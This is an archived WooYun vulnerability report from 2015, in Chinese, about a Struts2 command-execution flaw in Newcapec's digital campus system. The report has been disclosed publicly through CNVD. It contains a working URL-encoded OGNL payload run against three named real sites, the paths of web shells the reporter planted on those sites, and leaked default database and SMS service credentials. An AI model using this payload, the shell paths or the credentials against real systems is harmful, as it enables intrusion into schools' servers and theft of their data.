当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094455

漏洞标题:某通用型系统可Getshell(默认数据库密码也一致)

相关厂商:新开普电子股份有限公司

漏洞作者: 黄口小儿

提交时间:2015-03-02 10:13

修复时间:2015-06-04 17:10

公开时间:2015-06-04 17:10

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-06: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向第三方安全合作伙伴开放
2015-04-30: 细节向核心白帽子及相关领域专家公开
2015-05-10: 细节向普通白帽子公开
2015-05-20: 细节向实习白帽子公开
2015-06-04: 细节向公众公开

简要描述:

某通用型系统可Getshell权限,获取到多站点服务器上数据库链接信息、财务密码信息等,以及站点权限执行!(默认数据库密码也一致)

详细说明:

漏洞为新开普电子股份有限公司所开发的数字化校园系统:

1.png


当然你可以看看这类系统代码随意构造,新开普官网有很多案例呢,也可以利用。

http://60.2.228.70:8081/szyx/zzfw/login.jsp
http://freshman.sctu.edu.cn:9900/szyx/zzfw/login.jsp
http://218.196.240.184:9900/szyx/zzfw/login.jsp


1.jpg


这类系统所存在的站点全部存在St2命令执行,可直接Getshell(更多站点可以看官网客户案例,在这里我就以这三站点演示)


http://freshman.sctu.edu.cn:9900/szyx/zzfw/article_listbyid.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

漏洞证明:

1.png


1.png


1.png


http://freshman.sctu.edu.cn:9900/szyx/1.jsp
http://60.2.228.70:8081/szyx/1.jsp
http://218.196.240.184:9900/szyx/1.jsp


DB链接信息同类站点的默认密码也是一样的
jdbc.url=jdbc:oracle:thin:@192.168.101.61:1521:szhxy
jdbc.driverclass=oracle.jdbc.driver.OracleDriver
jdbc.username=szyx
jdbc.password=szyx
msg.httpurl=http://192.168.0.204:8080/vas/vas/center/service.action
msg.password=xxjc
msg.command=mt
msg.username=xxjc

修复方案:

升级配置|其余修复你懂得。

版权声明:转载请注明来源 黄口小儿@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-06 17:09

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向相关单位通报。

最新状态:

暂无